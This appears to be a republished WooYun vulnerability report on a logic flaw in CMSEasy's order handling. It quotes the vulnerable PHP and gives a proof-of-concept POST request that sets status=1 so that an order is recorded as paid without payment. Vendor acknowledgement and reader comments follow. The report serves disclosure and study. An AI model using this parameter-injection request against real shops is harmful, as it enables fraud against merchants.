cmseasy设计逻辑缺陷可以不花钱买东西

admin 2015年8月2日20:16:32评论301 views字数 219阅读0分43秒阅读模式
摘要

2014-11-07: 细节已通知厂商并且等待厂商处理中
2014-11-07: 厂商已经确认,细节仅向厂商公开
2014-11-10: 细节向第三方安全合作伙伴开放(绿盟科技、唐朝安全巡航、无声信息)
2015-01-01: 细节向核心白帽子及相关领域专家公开
2015-01-11: 细节向普通白帽子公开
2015-01-21: 细节向实习白帽子公开
2015-02-05: 细节向公众公开

漏洞概要 关注数(6) 关注此漏洞

缺陷编号: WooYun-2014-82014

漏洞标题: cmseasy设计逻辑缺陷可以不花钱买东西 cmseasy设计逻辑缺陷可以不花钱买东西

相关厂商: cmseasy

漏洞作者: menmen519

提交时间: 2014-11-07 12:00

公开时间: 2015-02-05 12:02

漏洞类型: 设计缺陷/逻辑错误

危害等级: 中

自评Rank: 10

漏洞状态: 厂商已经确认

漏洞来源:www.wooyun.org ,如有疑问或需要帮助请联系

Tags标签: php源码审核

0人收藏


漏洞详情

披露状态:

2014-11-07: 细节已通知厂商并且等待厂商处理中
2014-11-07: 厂商已经确认,细节仅向厂商公开
2014-11-10: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2015-01-01: 细节向核心白帽子及相关领域专家公开
2015-01-11: 细节向普通白帽子公开
2015-01-21: 细节向实习白帽子公开
2015-02-05: 细节向公众公开

简要描述:

cmseasy设计逻辑缺陷可以不花钱买东西

详细说明:

archive_act.php:

code 区域
function orders_action() {
$this->view->aid = trim(front::get('aid'));
if (front::post('submit')) {
$this->orders = new orders();
$row = $this->orders->getrow("","adddate DESC");
//var_dump(time());
if($row['adddate'] && time() - $row['adddate'] <= intval(config::get('order_time'))){
alerterror('操作频繁,请稍后再试');
return;
}
if (front::$post['telphone'] == '') {
alerterror('联系电话为必填!');
return;
}
front::$post['mid'] = $this->view->user['userid'] ? $this->view->user['userid'] : 0;
front::$post['adddate'] = time();
front::$post['ip'] = front::ip();
if (isset(front::$post['aid'])) {
$aidarr = front::$post['aid'];
unset(front::$post['aid']);
foreach ($aidarr as $val) {
front::$post['aid'].=$val . ',';
front::$post['pnums'].=front::$post['thisnum'][$val] . ',';
}
} else {
front::$post['aid'] = $this->view->aid;
}
if (!isset(front::$post['logisticsid']))
front::$post['logisticsid'] = 0;
front::$post['oid'] = date('YmdHis') . '-' . front::$post['logisticsid'] . '-' . front::$post['mid'] . '-' . front::$post['payname'];

$insert = $this->orders->rec_insert(front::$post);

这时候 我们跟进去看看:

这里的条件是填写完整的订单信息,然后默认订单状态为零 就是未支付状态

那么这里又没有对$post传递过来的参数做unset处理,也就是说这里我们可以传入订单的状态

订单分为六个状态

新订单为0

完成所有选项的状态为1

那么我们发送url:

http://localhost/uploads/index.php?case=archive&act=orders&aid=10

postdata:

pnums=1&pname=xxx&telphone=1111&address=1111111111111&status=1&postcode=710000&content=xxx&submit=+%E6%8F%90%E4%BA%A4+

cmseasy设计逻辑缺陷可以不花钱买东西

然后后台查看订单状态:

cmseasy设计逻辑缺陷可以不花钱买东西

ok!!!!

漏洞证明:

修复方案:

版权声明:转载请注明来源 menmen519@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:2

确认时间:2014-11-07 13:01

厂商回复:

漏洞已经在360复现

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分


评价

  1. 2014-11-07 12:32 | 子非海绵宝宝 cmseasy设计逻辑缺陷可以不花钱买东西 ( 核心白帽子 | Rank:1413 漏洞数:148 | 发扬海绵宝宝的精神! 你不是海绵宝宝,你怎...)

    1

    通用大神,请手下我的膝盖!

  2. 2014-11-07 13:18 | phith0n cmseasy设计逻辑缺陷可以不花钱买东西 ( 普通白帽子 | Rank:834 漏洞数:127 | 一个想当文人的黑客~)

    0

    http://loudong.360.cn/vul/info/id/31546 http://loudong.360.cn/vul/info/id/31552 厂商说的是不是这俩?

  3. 2014-11-08 16:28 | cmseasy(乌云厂商)

    0

    @phith0n 是的。 @menmen519 感谢你对我们程序的支持。 近期将对数据查询做出调整,对以前程序的查询方式进行修改,发布后希望白帽子能够给我们指出相关问题。我们会及时处理。

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin